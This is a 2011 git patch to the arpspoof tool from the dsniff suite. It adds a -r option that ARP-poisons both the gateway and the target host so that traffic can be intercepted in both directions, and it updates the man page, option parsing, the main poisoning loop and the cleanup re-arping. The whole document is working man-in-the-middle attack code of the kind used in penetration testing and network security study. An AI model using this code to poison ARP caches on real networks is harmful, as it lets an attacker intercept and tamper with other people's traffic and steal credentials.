1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
|
>From 8fbf0ac15e5fe2df427e3e028f9aa8d96788986a Mon Sep 17 00:00:00 2001
From: Stefan Tomanek <stefan@pico.ruhr.de>
Date: Sun, 6 Nov 2011 22:44:54 +0100
Subject: [PATCH 1/3] arpspoof: add -r switch to poison both directions
Signed-off-by: Stefan Tomanek <stefan@pico.ruhr.de>
---
arpspoof.8 | 5 ++++-
arpspoof.c | 59 +++++++++++++++++++++++++++++++++++++++++++++++------------
2 files changed, 51 insertions(+), 13 deletions(-)
---
This patch header follows DEP-3: http://dep.debian.net/deps/dep3/
--- a/arpspoof.8
+++ b/arpspoof.8
@@ -9,7 +9,7 @@
.na
.nf
.fi
-\fBarpspoof\fR [\fB-i \fIinterface\fR] [\fB-t \fItarget\fR] \fIhost\fR
+\fBarpspoof\fR [\fB\-i \fIinterface\fR] [\fB\-t \fItarget\fR] [\fB\-r\fR] \fIhost\fR
.SH DESCRIPTION
.ad
.fi
@@ -26,6 +26,9 @@
.IP "\fB-t \fItarget\fR"
Specify a particular host to ARP poison (if not specified, all hosts
on the LAN).
+.IP "\fB\-r\fR"
+Poison both hosts (host and target) to capture traffic in both directions.
+(only valid in conjuntion with \-t)
.IP \fIhost\fR
Specify the host you wish to intercept packets for (usually the local
gateway).
--- a/arpspoof.c
+++ b/arpspoof.c
@@ -7,6 +7,8 @@
* Copyright (c) 1999 Dug Song <dugsong@monkey.org>
*
* $Id: arpspoof.c,v 1.5 2001/03/15 08:32:58 dugsong Exp $
+ *
+ * Improved 2011 by Stefan Tomanek <stefa@pico.ruhr.de>
*/
#include "config.h"
@@ -31,12 +33,13 @@
static struct ether_addr spoof_mac, target_mac;
static in_addr_t spoof_ip, target_ip;
static char *intf;
+static int poison_reverse;
static void
usage(void)
{
fprintf(stderr, "Version: " VERSION "\n"
- "Usage: arpspoof [-i interface] [-t target] host\n");
+ "Usage: arpspoof [-i interface] [-t target] [-r] host\n");
exit(1);
}
@@ -133,18 +136,30 @@
static void
cleanup(int sig)
{
+ int fw = arp_find(spoof_ip, &spoof_mac);
+ int bw = poison_reverse && target_ip && arp_find(target_ip, &target_mac);
int i;
-
- if (arp_find(spoof_ip, &spoof_mac)) {
- for (i = 0; i < 3; i++) {
- /* XXX - on BSD, requires ETHERSPOOF kernel. */
+
+ fprintf(stderr, "Cleaning up and re-arping targets...\n");
+ for (i = 0; i < 5; i++) {
+ /* XXX - on BSD, requires ETHERSPOOF kernel. */
+ if (fw) {
arp_send(l, ARPOP_REPLY,
(u_int8_t *)&spoof_mac, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
+ /* we have to wait a moment before sending the next packet */
+ sleep(1);
+ }
+ if (bw) {
+ arp_send(l, ARPOP_REPLY,
+ (u_int8_t *)&target_mac, target_ip,
+ (u_int8_t *)&spoof_mac,
+ spoof_ip);
sleep(1);
}
}
+
exit(0);
}
@@ -156,11 +171,12 @@
char pcap_ebuf[PCAP_ERRBUF_SIZE];
char libnet_ebuf[LIBNET_ERRBUF_SIZE];
int c;
-
+
intf = NULL;
spoof_ip = target_ip = 0;
-
- while ((c = getopt(argc, argv, "i:t:h?V")) != -1) {
+ poison_reverse = 0;
+
+ while ((c = getopt(argc, argv, "ri:t:h?V")) != -1) {
switch (c) {
case 'i':
intf = optarg;
@@ -169,6 +185,9 @@
if ((target_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
usage();
break;
+ case 'r':
+ poison_reverse = 1;
+ break;
default:
usage();
}
@@ -178,7 +197,12 @@
if (argc != 1)
usage();
-
+
+ if (poison_reverse && !target_ip) {
+ errx(1, "Spoofing the reverse path (-r) is only available when specifying a target (-t).");
+ usage();
+ }
+
if ((spoof_ip = libnet_name2addr4(l, argv[0], LIBNET_RESOLVE)) == -1)
usage();
@@ -191,18 +215,29 @@
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s",
libnet_addr2name4(target_ip, LIBNET_DONT_RESOLVE));
-
+
+ if (poison_reverse) {
+ if (!arp_find(spoof_ip, &spoof_mac)) {
+ errx(1, "couldn't arp for spoof host %s",
+ libnet_addr2name4(spoof_ip, LIBNET_DONT_RESOLVE));
+ }
+ }
+
signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);
-
+
for (;;) {
arp_send(l, ARPOP_REPLY, NULL, spoof_ip,
(target_ip ? (u_int8_t *)&target_mac : NULL),
target_ip);
+ if (poison_reverse) {
+ arp_send(l, ARPOP_REPLY, NULL, target_ip, (uint8_t *)&spoof_mac, spoof_ip);
+ }
+
sleep(2);
}
/* NOTREACHED */
-
+
exit(0);
}
|
